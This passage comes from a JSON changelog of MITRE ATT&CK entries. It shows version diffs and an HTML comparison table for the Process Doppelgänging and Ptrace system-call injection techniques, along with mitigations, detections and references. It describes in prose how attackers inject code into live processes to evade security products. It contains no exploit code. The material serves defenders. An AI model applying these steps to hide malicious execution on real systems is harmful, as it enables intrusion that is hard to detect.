malicious code from the file system.\\n* Animate \\u2013 Create a process from the tainted section of memory and initiate execution.\\n\\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n-Adversaries may inject malicious code into process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n+Adversaries may inject malicious code into a process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\\n+Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.(Citation: Microsoft Where to use TxF)\\n \\n-Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n+Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n \\n-Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n+Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n \\n-Process Doppelg\\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017):\\n+Process Doppelg\\u00e4nging is implemented in 4 steps:\\n \\n * Transact \\u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\\n * Load \\u2013 Create a shared section of memory and load the malicious executable.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to21__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to21__0\"><a href=\"#difflib_chg_to21__top\">t</a></td><td class=\"diff_header\" id=\"from21_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;<span class=\"diff_chg\">process</span>&nbsp;via&nbsp;proce</td><td class=\"diff_next\"><a href=\"#difflib_chg_to21__top\">t</a></td><td class=\"diff_header\" id=\"to21_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;<span class=\"diff_chg\">a&nbsp;process</span>&nbsp;via&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;doppelg\u00e4nging&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;doppelg\u00e4nging&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;Process&nbsp;doppelg\u00e4nging&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;Process&nbsp;doppelg\u00e4ngin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;spa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;Windows&nbsp;Transactional&nbsp;NTFS&nbsp;(T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;Windows&nbsp;Transactional&nbsp;NTFS&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xF)&nbsp;was&nbsp;introduced&nbsp;in&nbsp;Vista&nbsp;as&nbsp;a&nbsp;method&nbsp;to&nbsp;perform&nbsp;safe&nbsp;file</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(TxF)&nbsp;was&nbsp;introduced&nbsp;in&nbsp;Vista&nbsp;as&nbsp;a&nbsp;method&nbsp;to&nbsp;perform&nbsp;safe&nbsp;fi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;operations.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;TxF)&nbsp;To&nbsp;ensure&nbsp;data&nbsp;integr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;operations.(Citation:&nbsp;Microsoft&nbsp;TxF)&nbsp;To&nbsp;ensure&nbsp;data&nbsp;integ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ity,&nbsp;TxF&nbsp;enables&nbsp;only&nbsp;one&nbsp;transacted&nbsp;handle&nbsp;to&nbsp;write&nbsp;to&nbsp;a&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rity,&nbsp;TxF&nbsp;enables&nbsp;only&nbsp;one&nbsp;transacted&nbsp;handle&nbsp;to&nbsp;write&nbsp;to&nbsp;a&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;at&nbsp;a&nbsp;given&nbsp;time.&nbsp;Until&nbsp;the&nbsp;write&nbsp;handle&nbsp;transaction&nbsp;is&nbsp;te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;at&nbsp;a&nbsp;given&nbsp;time.&nbsp;Until&nbsp;the&nbsp;write&nbsp;handle&nbsp;transaction&nbsp;is&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rminated,&nbsp;all&nbsp;other&nbsp;handles&nbsp;are&nbsp;isolated&nbsp;from&nbsp;the&nbsp;writer&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erminated,&nbsp;all&nbsp;other&nbsp;handles&nbsp;are&nbsp;isolated&nbsp;from&nbsp;the&nbsp;writer&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;only&nbsp;read&nbsp;the&nbsp;committed&nbsp;version&nbsp;of&nbsp;the&nbsp;file&nbsp;that&nbsp;existe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;may&nbsp;only&nbsp;read&nbsp;the&nbsp;committed&nbsp;version&nbsp;of&nbsp;the&nbsp;file&nbsp;that&nbsp;exist</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;at&nbsp;the&nbsp;time&nbsp;the&nbsp;handle&nbsp;was&nbsp;opened.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Ba</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;at&nbsp;the&nbsp;time&nbsp;the&nbsp;handle&nbsp;was&nbsp;opened.(Citation:&nbsp;Microsoft&nbsp;Ba</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sic&nbsp;TxF&nbsp;Concepts)&nbsp;To&nbsp;avoid&nbsp;corruption,&nbsp;TxF&nbsp;performs&nbsp;an&nbsp;autom</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sic&nbsp;TxF&nbsp;Concepts)&nbsp;To&nbsp;avoid&nbsp;corruption,&nbsp;TxF&nbsp;performs&nbsp;an&nbsp;autom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atic&nbsp;rollback&nbsp;if&nbsp;the&nbsp;system&nbsp;or&nbsp;application&nbsp;fails&nbsp;during&nbsp;a&nbsp;wr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atic&nbsp;rollback&nbsp;if&nbsp;the&nbsp;system&nbsp;or&nbsp;application&nbsp;fails&nbsp;during&nbsp;a&nbsp;wr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ite&nbsp;transaction.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;Where&nbsp;to&nbsp;use&nbsp;TxF)&nbsp;&nbsp;Alt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ite&nbsp;transaction.(Citation:&nbsp;Microsoft&nbsp;Where&nbsp;to&nbsp;use&nbsp;TxF)&nbsp;&nbsp;Alth</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hough&nbsp;deprecated,&nbsp;the&nbsp;TxF&nbsp;application&nbsp;programming&nbsp;interface&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ough&nbsp;deprecated,&nbsp;the&nbsp;TxF&nbsp;application&nbsp;programming&nbsp;interface&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(API)&nbsp;is&nbsp;still&nbsp;enabled&nbsp;as&nbsp;of&nbsp;Windows&nbsp;10.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;BlackHat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">API)&nbsp;is&nbsp;still&nbsp;enabled&nbsp;as&nbsp;of&nbsp;Windows&nbsp;10.(Citation:&nbsp;BlackHat&nbsp;P</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Process&nbsp;Doppelg\u00e4nging&nbsp;Dec&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;TxF&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess&nbsp;Doppelg\u00e4nging&nbsp;Dec&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;TxF&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;a&nbsp;perform&nbsp;a&nbsp;file-less&nbsp;variation&nbsp;of&nbsp;[Process&nbsp;Injection](ht</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;perform&nbsp;a&nbsp;file-less&nbsp;variation&nbsp;of&nbsp;[Process&nbsp;Injection](http</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1055).&nbsp;Similar&nbsp;to&nbsp;[Proces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1055).&nbsp;Similar&nbsp;to&nbsp;[Process&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Hollowing](https://attack.mitre.org/techniques/T1055/012),</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Hollowing](https://attack.mitre.org/techniques/T1055/012),&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;process&nbsp;doppelg\u00e4nging&nbsp;involves&nbsp;replacing&nbsp;the&nbsp;memory&nbsp;of&nbsp;a&nbsp;le</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess&nbsp;doppelg\u00e4nging&nbsp;involves&nbsp;replacing&nbsp;the&nbsp;memory&nbsp;of&nbsp;a&nbsp;legi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gitimate&nbsp;process,&nbsp;enabling&nbsp;the&nbsp;veiled&nbsp;execution&nbsp;of&nbsp;malicious</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">timate&nbsp;process,&nbsp;enabling&nbsp;the&nbsp;veiled&nbsp;execution&nbsp;of&nbsp;malicious&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;code&nbsp;that&nbsp;may&nbsp;evade&nbsp;defenses&nbsp;and&nbsp;detection.&nbsp;Process&nbsp;doppelg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&nbsp;that&nbsp;may&nbsp;evade&nbsp;defenses&nbsp;and&nbsp;detection.&nbsp;Process&nbsp;doppelg\u00e4n</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\u00e4nging's&nbsp;use&nbsp;of&nbsp;TxF&nbsp;also&nbsp;avoids&nbsp;the&nbsp;use&nbsp;of&nbsp;highly-monitored&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ging's&nbsp;use&nbsp;of&nbsp;TxF&nbsp;also&nbsp;avoids&nbsp;the&nbsp;use&nbsp;of&nbsp;highly-monitored&nbsp;AP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">API&nbsp;functions&nbsp;such&nbsp;as&nbsp;&lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;,&nbsp;&lt;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I&nbsp;functions&nbsp;such&nbsp;as&nbsp;&lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;,&nbsp;&lt;code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;VirtualProtectEx&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;SetThreadContext&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;VirtualProtectEx&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;SetThreadContext&lt;/code&gt;.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;BlackHat&nbsp;Process&nbsp;Doppelg\u00e4nging&nbsp;Dec&nbsp;2017)&nbsp;&nbsp;Proc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;BlackHat&nbsp;Process&nbsp;Doppelg\u00e4nging&nbsp;Dec&nbsp;2017)&nbsp;&nbsp;Process</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;Doppelg\u00e4nging&nbsp;is&nbsp;implemented&nbsp;in&nbsp;4&nbsp;steps<span class=\"diff_chg\">&nbsp;(</span>C<span class=\"diff_chg\">itation:&nbsp;Black</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Doppelg\u00e4nging&nbsp;is&nbsp;implemented&nbsp;in&nbsp;4&nbsp;steps<span class=\"diff_chg\">:&nbsp;&nbsp;*&nbsp;Transact&nbsp;\u2013&nbsp;</span>C<span class=\"diff_chg\">rea</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">Hat&nbsp;Process&nbsp;Doppelg\u00e4nging&nbsp;Dec&nbsp;2017):&nbsp;&nbsp;*&nbsp;Transact&nbsp;\u2013&nbsp;Create&nbsp;a</span>&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">te&nbsp;a</span>&nbsp;TxF&nbsp;transaction&nbsp;using&nbsp;a&nbsp;legitimate&nbsp;executable&nbsp;then&nbsp;over</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TxF&nbsp;transaction&nbsp;using&nbsp;a&nbsp;legitimate&nbsp;executable&nbsp;then&nbsp;overwrite</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">write&nbsp;the&nbsp;file&nbsp;with&nbsp;malicious&nbsp;code.&nbsp;These&nbsp;changes&nbsp;will&nbsp;be&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;file&nbsp;with&nbsp;malicious&nbsp;code.&nbsp;These&nbsp;changes&nbsp;will&nbsp;be&nbsp;isolate</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">olated&nbsp;and&nbsp;only&nbsp;visible&nbsp;within&nbsp;the&nbsp;context&nbsp;of&nbsp;the&nbsp;transactio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;and&nbsp;only&nbsp;visible&nbsp;within&nbsp;the&nbsp;context&nbsp;of&nbsp;the&nbsp;transaction.&nbsp;*&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n.&nbsp;*&nbsp;Load&nbsp;\u2013&nbsp;Create&nbsp;a&nbsp;shared&nbsp;section&nbsp;of&nbsp;memory&nbsp;and&nbsp;load&nbsp;the&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Load&nbsp;\u2013&nbsp;Create&nbsp;a&nbsp;shared&nbsp;section&nbsp;of&nbsp;memory&nbsp;and&nbsp;load&nbsp;the&nbsp;malici</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alicious&nbsp;executable.&nbsp;*&nbsp;Rollback&nbsp;\u2013&nbsp;Undo&nbsp;changes&nbsp;to&nbsp;original&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;executable.&nbsp;*&nbsp;Rollback&nbsp;\u2013&nbsp;Undo&nbsp;changes&nbsp;to&nbsp;original&nbsp;execut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecutable,&nbsp;effectively&nbsp;removing&nbsp;malicious&nbsp;code&nbsp;from&nbsp;the&nbsp;file</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able,&nbsp;effectively&nbsp;removing&nbsp;malicious&nbsp;code&nbsp;from&nbsp;the&nbsp;file&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system.&nbsp;*&nbsp;Animate&nbsp;\u2013&nbsp;Create&nbsp;a&nbsp;process&nbsp;from&nbsp;the&nbsp;tainted&nbsp;secti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em.&nbsp;*&nbsp;Animate&nbsp;\u2013&nbsp;Create&nbsp;a&nbsp;process&nbsp;from&nbsp;the&nbsp;tainted&nbsp;section&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;of&nbsp;memory&nbsp;and&nbsp;initiate&nbsp;execution.&nbsp;&nbsp;This&nbsp;behavior&nbsp;will&nbsp;lik</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;memory&nbsp;and&nbsp;initiate&nbsp;execution.&nbsp;&nbsp;This&nbsp;behavior&nbsp;will&nbsp;likely&nbsp;n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ely&nbsp;not&nbsp;result&nbsp;in&nbsp;elevated&nbsp;privileges&nbsp;since&nbsp;the&nbsp;injected&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ot&nbsp;result&nbsp;in&nbsp;elevated&nbsp;privileges&nbsp;since&nbsp;the&nbsp;injected&nbsp;process&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;was&nbsp;spawned&nbsp;from&nbsp;(and&nbsp;thus&nbsp;inherits&nbsp;the&nbsp;security&nbsp;contex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">was&nbsp;spawned&nbsp;from&nbsp;(and&nbsp;thus&nbsp;inherits&nbsp;the&nbsp;security&nbsp;context)&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t)&nbsp;of&nbsp;the&nbsp;injecting&nbsp;process.&nbsp;However,&nbsp;execution&nbsp;via&nbsp;process&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;injecting&nbsp;process.&nbsp;However,&nbsp;execution&nbsp;via&nbsp;process&nbsp;doppe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">doppelg\u00e4nging&nbsp;may&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;sin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lg\u00e4nging&nbsp;may&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0544: Detection Strategy for Process Doppelg\u00e4nging on Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 01:33:19.065000+00:00",
                    "modified": "2026-11-04 00:18:37.552000+00:00",
                    "name": "Ptrace System Calls",
                    "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/008",
                            "external_id": "T1055.008"
                        },
                        {
                            "source_name": "BH Linux Inject",
                            "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.",
                            "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf"
                        },
                        {
                            "source_name": "Medium Ptrace JUL 2018",
                            "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.",
                            "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be"
                        },
                        {
                            "source_name": "PTRACE man",
                            "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.",
                            "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:18:37.552000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n\\nPtrace system call injection may 